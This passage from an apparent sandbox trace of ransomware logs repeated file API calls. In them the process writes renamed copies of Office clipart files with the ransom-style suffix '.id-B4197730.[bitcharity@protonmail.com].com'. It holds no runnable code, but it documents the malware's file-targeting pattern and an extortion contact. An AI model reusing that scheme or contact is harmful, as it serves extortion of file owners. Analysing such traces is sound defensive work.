(hObject=0x1178) returned 1 [0245.452] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.453] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00222_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00222_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.453] CloseHandle (hObject=0x1178) returned 1 [0245.454] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.454] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00242_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00242_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.454] CloseHandle (hObject=0x1178) returned 1 [0245.455] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.455] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00319_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00319_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.455] CloseHandle (hObject=0x1178) returned 1 [0245.457] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.457] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00320_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00320_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.458] CloseHandle (hObject=0x1178) returned 1 [0245.459] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.459] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.459] CloseHandle (hObject=0x1178) returned 1 [0245.460] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.460] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00902_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00902_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.461] CloseHandle (hObject=0x1178) returned 1 [0245.462] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.462] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00074_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00074_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.463] CloseHandle (hObject=0x1178) returned 1 [0245.463] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.464] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00076_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00076_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.464] CloseHandle (hObject=0x1178) returned 1 [0245.465] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.465] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.465] CloseHandle (hObject=0x1178) returned 1 [0245.466] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.466] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.466] CloseHandle (hObject=0x1178) returned 1 [0245.467] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.467] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.468] CloseHandle (hObject=0x1178) returned 1 [0245.469] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.469] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.470] CloseHandle (hObject=0x1178) returned 1 [0245.470] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.471] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.471] CloseHandle (hObject=0x1178) returned 1 [0245.472] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.472] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.472] CloseHandle (hObject=0x1178) returned 1 [0245.473] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.473] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00306_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00306_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.473] CloseHandle (hObject=0x1178) returned 1 [0245.475] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.475] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00336_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00336_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.475] CloseHandle (hObject=0x1178) returned 1 [0245.476] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.476] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00361_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00361_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.476] CloseHandle (hObject=0x1178) returned 1 [0245.477] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.477] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.478] CloseHandle (hObject=0x1178) returned 1 [0245.479] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.479] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.479] CloseHandle (hObject=0x1178) returned 1 [0245.480] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.480] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.480] CloseHandle (hObject=0x1178) returned 1 [0245.481] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.481] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.481] CloseHandle (hObject=0x1178) returned 1 [0245.887] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.887] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.887] CloseHandle (hObject=0x1178) returned 1 [0245.888] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.888] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.889] CloseHandle (hObject=0x1178) returned 1 [0245.890] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.890] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.890] CloseHandle (hObject=0x1178) returned 1 [0245.891] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.891] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.891] CloseHandle (hObject=0x1178) returned 1 [0245.892] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.892] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.893] CloseHandle (hObject=0x1178) returned 1 [0245.894] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.895] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.895] CloseHandle (hObject=0x1178) returned 1 [0245.896] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.896] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.897] CloseHandle (hObject=0x1178) returned 1 [0245.898] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.898] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.898] CloseHandle (hObject=0x1178) returned 1 [0245.899] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.899] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.900] CloseHandle (hObject=0x1178) returned 1 [0245.901] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.901] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.902] CloseHandle (hObject=0x1178) returned 1 [0245.902] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.903] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.903] CloseHandle (hObject=0x1178) returned 1 [0245.904] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.904] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, 